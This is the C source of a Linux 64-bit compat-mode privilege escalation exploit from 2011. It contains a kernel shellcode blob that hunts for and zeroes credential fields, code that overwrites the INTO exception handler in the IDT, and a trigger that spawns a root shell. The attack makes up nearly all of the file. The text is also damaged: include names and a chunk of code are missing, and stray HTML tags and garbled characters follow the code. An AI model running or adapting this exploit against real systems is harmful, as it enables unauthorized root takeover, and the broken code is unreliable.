/**************************************************************************** * Linux 64-bit Compatibility Mode Stack Pointer Underflow * Privilege escalation exploit * a.k.a the compat mess * a.k.a x64_hav0c.c * by teach * * VxHell Labs CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of VxHell Labs. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * his author. This includes especially the Bugtraq mailing list, * the www.exploit-db.com website and/or any public exploit archive. * * (C) COPYRIGHT teach, 2011 * All Rights Reserved * * teach@vxhell.org * * For [teh lulz and maybe] educational purposes. Use it at your own risk. ** ******************************************************************************/ #include #include #include #include #include #include #include #include #include struct __kernel_sockaddr_storage { char dummy[128]; }; struct compat_group_filter { unsigned int gf_interface; struct __kernel_sockaddr_storage gf_group __attribute__ ((aligned(4))); unsigned int gf_fmode; unsigned int gf_numsrc; struct __kernel_sockaddr_storage gf_slist[1] __attribute__ ((aligned(4))); } __attribute__ ((packed)); struct argsblock { int sockfd; int level; int optname; void *optval; socklen_t *optlen; } __attribute__((packed)); struct idt_struct { unsigned short limit; unsigned long base; } __attribute__((packed)); unsigned int uid, gid; int sockfd; struct compat_group_filter gf32; struct argsblock args; /* this is pure magic and awesomeness: complete x64 priv. escalation shellcode blob */ char elitekernshellcodez[] = "\x55\x48\x89\xe5\x48\x83\xec\x10" "\x48\xc7\x45\xf8\x00\x00\x00\x00" "\xe8\x21\x00\x00\x00\x48\x89\x45" "\xf8\x48\x83\x7d\xf8\x00\x75\x09" "\xe8\x83\x00\x00\x00\x48\x89\x45" "\xf8\x48\x8b\x7d\xf8\xe8\xd2\x00" "\x00\x00\xc9\x48\xcf\xc3" "\x55\x48\x89\xe5\x48\xc7\x45\xf8" "\x00\x00\x00\x00\x48\x8d\x45\xf8" "\x48\x89\x45\xf8\x48\x8b\x45\xf8" "\x48\x25\x00\xf0\xff\xff\x48\x8b" "\x00\x48\x89\x45\xf8\x48\x8b\x55" "\xf8\x48\xb8\xff\xff\xff\xff\xff" "\xff\xff\xef\x48\x39\xc2\x76\x0c" "\x48\x8b\x45\xf8\x48\x3d\x00\x00" "\x00\xf0\x76\x0a\x48\xc7\x45\xe8" "\x00\x00\x00\x00\xeb\x1e\x48\x8b" "\x45\xf8\x48\x8b\x00\x48\x85\xc0" "\x74\x0a\x48\xc7\x45\xe8\x00\x00" "\x00\x00\xeb\x08\x48\x8b\x45\xf8" "\x48\x89\x45\xe8\x48\x8b\x45\xe8" "\xc9\xc3" "\x55\x48\x89\xe5\x48\xc7\x45\xf8" "\x00\x00\x00\x00\x48\x8d\x45\xf8" "\x48\x89\x45\xf8\x48\x8b\x45\xf8" "\x48\x25\x00\xe0\xff\xff\x48\x8b" "\x00\x48\x89\x45\xf8\x48\x8b\x55" "\xf8\x48\xb8\xff\xff\xff\xff\xff" "\xff\xff\xef\x48\x39\xc2\x76\x0c" "\x48\x8b\x45\xf8\x48\x3d\x00\x00" "\x00\xf0\x76\x0a\x48\xc7\x45\xe8" "\x00\x00\x00\x00\xeb\x08\x48\x8b" "\x45\xf8\x48\x89\x45\xe8\x48\x8b" "\x45\xe8\xc9\xc3" "\x55\x48\x89\xe5\x48\x89\x7d\xe8" "\x48\x8b\x45\xe8\x48\x89\x45\xf8" "\xc7\x45\xf4\x00\x00\x00\x00\xe9" "\xde\x01\x00\x00\x8b\x45\xf4\x48" "\x98\x48\xc1\xe0\x02\x48\x03\x45" "\xf8\x8b\x00\x3d\x37\x13\x37\x13" "\x0f\x85\xc0\x01\x00\x00\x48\x8b" "\x55\xf8\x48\x83\xc2\x04\x8b\x45" "\xf4\x48\x98\x48\xc1\xe0\x02\x48" "\x8d\x04\x02\x8b\x00\x3d\x37\x13" "\x37\x13\x0f\x85\x9e\x01\x00\x00" "\x48\x8b\x55\xf8\x48\x83\xc2\x08" "\x8b\x45\xf4\x48\x98\x48\xc1\xe0" "\x02\x48\x8d\x04\x02\x8b\x00\x3d" "\x37\x13\x37\x13\x0f\x85\x7c\x01" "\x00\x00\x48\x8b\x55\xf8\x48\x83" "\xc2\x0c\x8b\x45\xf4\x48\x98\x48" "\xc1\xe0\x02\x48\x8d\x04\x02\x8b" "\x00\x3d\x37\x13\x37\x13\x0f\x85" "\x5a\x01\x00\x00\x48\x8b\x55\xf8" "\x48\x83\xc2\x10\x8b\x45\xf4\x48" "\x98\x48\xc1\xe0\x02\x48\x8d\x04" "\x02\x8b\x00\x3d\xbe\xba\xad\xde" "\x0f\x85\x38\x01\x00\x00\x48\x8b" "\x55\xf8\x48\x83\xc2\x14\x8b\x45" "\xf4\x48\x98\x48\xc1\xe0\x02\x48" "\x8d\x04\x02\x8b\x00\x3d\xbe\xba" "\xad\xde\x0f\x85\x16\x01\x00\x00" "\x48\x8b\x55\xf8\x48\x83\xc2\x18" "\x8b\x45\xf4\x48\x98\x48\xc1\xe0" "\x02\x48\x8d\x04\x02\x8b\x00\x3d" "\xbe\xba\xad\xde\x0f\x85\xf4\x00" "\x00\x00\x48\x8b\x55\xf8\x48\x83" "\xc2\x1c\x8b\x45\xf4\x48\x98\x48" "\xc1\xe0\x02\x48\x8d\x04\x02\x8b" "\x00\x3d\xbe\xba\xad\xde\x0f\x85" "\xd2\x00\x00\x00\x8b\x45\xf4\x48" "\x98\x48\xc1\xe0\x02\x48\x03\x45" "\xf8\xc7\x00\x00\x00\x00\x00\x48" "\x8b\x55\xf8\x48\x83\xc2\x04\x8b" "\x45\xf4\x48\x98\x48\xc1\xe0\x02" "\x48\x8d\x04\x02\xc7\x00\x00\x00" "\x00\x00\x48\x8b\x55\xf8\x48\x83" "\xc2\x08\x8b\x45\xf4\x48\x98\x48" "\xc1\xe0\x02\x48\x8d\x04\x02\xc7" "\x00\x00\x00\x00\x00\x48\x8b\x55" "\xf8\x48\x83\xc2\x0c\x8b\x45\xf4" "\x48\x98\x48\xc1\xe0\x02\x48\x8d" "\x04\x02\xc7\x00\x00\x00\x00\x00" "\x48\x8b\x55\xf8\x48\x83\xc2\x10" "\x8b\x45\xf4\x48\x98\x48\xc1\xe0" "\x02\x48\x8d\x04\x02\xc7\x00\x00" "\x00\x00\x00\x48\x8b\x55\xf8\x48" "\x83\xc2\x14\x8b\x45\xf4\x48\x98" "\x48\xc1\xe0\x02\x48\x8d\x04\x02" "\xc7\x00\x00\x00\x00\x00\x48\x8b" "\x55\xf8\x48\x83\xc2\x18\x8b\x45" "\xf4\x48\x98\x48\xc1\xe0\x02\x48" "\x8d\x04\x02\xc7\x00\x00\x00\x00" "\x00\x48\x8b\x55\xf8\x48\x83\xc2" "\x1c\x8b\x45\xf4\x48\x98\x48\xc1" "\xe0\x02\x48\x8d\x04\x02\xc7\x00" "\x00\x00\x00\x00\xeb\x11\x83\x45" "\xf4\x01\x81\x7d\xf4\xff\x0f\x00" "\x00\x0f\x8e\x15\xfe\xff\xff\xc9" "\xc3"; void fill_shellcode(void) { unsigned char *p = (unsigned char *)elitekernshellcodez; int i; for(i=0; i> 16 ) | 0xffff0000; printf("[+] Overwriting mid 16bits of INTO exception handler address ... \n"); kernel_write(entry+6, addr); printf("[+] Overwriting high 32bits of INTO exception handler address ... \n"); kernel_write(entry+8, 0x00000000); printf("[+] Triggering INTO exception...\n"); __asm__ __volatile__( "cld\n\t" "movl $0x7FFFFFFF, %%eax\n\t" "addl $0x7FFFFFFF, %%eax\n\t" "into\n\t" ::: "eax" ); if(getuid() == 0){ printf("[+] Got root !\n"); spawn_rootshell(); } else printf("[-] Exploit failed. Shit happens ...?\n"); munmap((unsigned char *)((unsigned int)kscaddr & (~(PAGE_SIZE-1))), PAGE_SIZE*2); return -1; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß